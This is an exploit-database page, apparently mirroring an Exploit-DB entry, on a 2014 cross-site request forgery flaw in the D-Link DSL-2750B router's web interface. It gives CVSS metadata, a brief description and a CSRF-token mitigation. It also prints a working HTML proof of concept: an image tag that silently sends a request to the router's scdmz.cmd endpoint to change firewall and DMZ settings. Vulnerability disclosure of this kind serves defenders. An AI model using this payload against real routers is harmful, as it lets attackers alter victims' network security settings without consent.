header-logo
Suggest Exploit
vendor:
DSL-2750B
by:
killall-9@mail.com
4,3
CVSS
MEDIUM
Cross-Site Request Forgery (CSRF)
352
CWE
Product Name: DSL-2750B
Affected Version From: Firmware Version: EU_2.02
Affected Version To: Hardware Version: B1
Patch Exists: N/A
Related CWE: N/A
CPE: h:d-link:dsl-2750b
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2014

D-Link DSL-2750B (ADSL Router) CSRF Vulnerability

The D-Link DSL-2750B's web interface (listening on tcp/ip port 80) is prone to CSRF vulnerabilities which allows to change router parameters. The proof-of-concept code includes an HTML page with an image tag that points to the vulnerable router's IP address.

Mitigation:

Implementing a CSRF token in the web application can help mitigate this vulnerability.
Source

Exploit-DB raw data:

# Exploit Title : D-Link DSL-2750B (ADSL Router) CSRF Vulnerability
# Date : 10-02-2014
# Author : killall-9@mail.com
# Vendor site : http://www.d-link.com
# Version : DSL-2750B 
# Tested on : Firmware Version: EU_2.02; Hardware Version: B1

The D-Link DSL-2750B's web interface (listening on tcp/ip port 80) is prone to CSRF vulnerabilities which allows to change router parameters.

POC=>

<html lang="en">
<head>
<title>Pinata-CSRF-poc for D-Link</title>
</head>
<body>
<img src="http://192.168.1.1/scdmz.cmd?&fwFlag=50853375&dosenbl=1" />
</body>
</html>

cincin°°°

Navigation

Suggest Exploit

Services By CQR